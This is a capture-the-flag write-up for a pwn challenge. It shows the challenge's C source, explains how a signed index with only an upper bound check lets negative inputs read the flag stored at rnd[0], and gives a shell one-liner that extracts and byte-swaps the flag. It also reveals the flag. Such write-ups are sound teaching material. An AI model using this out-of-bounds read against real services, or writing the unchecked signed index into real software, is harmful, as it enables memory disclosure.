Description
Description: This is our PRNG service
running at:
nc challs.ctf.site 20003Attachment: pwn25
Resolution
This in C code provided in the given zip file :
#include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <answer.h> int main() { signed int i; unsigned int base, try, rnd[128]; printf("Welcome to PRNG service\nPlease wait while we generate 64 random numbers...\n"); fflush(0); sleep(2); strcpy((char *)&rnd[0], ANSWER); srandom(1337); base = 64; for (i = 0; i < 64; i++) rnd[base + i] = random(); printf("Process finished\n"); fflush(0); try = 0; while (try < 10) { printf("Choose a number [0-63]?"); fflush(0); scanf("%d", &i); fflush(0); if (i < 64) { printf ("Your number is: 0x%08x\n", rnd[base + i]); } else { printf("Index out of range\n"); } try++; fflush(0); } printf ("Thank you for using our service\n"); fflush(0); return 0; }
rnd is an array, filled from offset 64 to 128 with random numbers. We also have rnd[0] filled with the flag. The goal is to display index 0 of this array.
In a while loop, we can provide a signed integer to chose an index to display.
The issue is that if we provide the number N, it’s number 64+N which is displayed.
The trick is, since our input is saved in a signed integer, we can provide -64 to scanf to display 4 bytes of rnd[0], then -63 for the next 4 bytes, and so on.
This is how it’s done :
$ flag=$(for i in $(seq -64 -54); do echo $i; done | ./task | grep Choose | awk -F " " '{print $7}' | xxd -r -p); for (( i=0; i<=${#flag}; i+=4 )); do for j in $(seq 0 3); do echo -n ${flag:$i+4-$j-1:1}; done; done; echo "" EKO{little_endian_and_signed_-1nt}
So the flag is :
EKO{little_endian_and_signed_-1nt}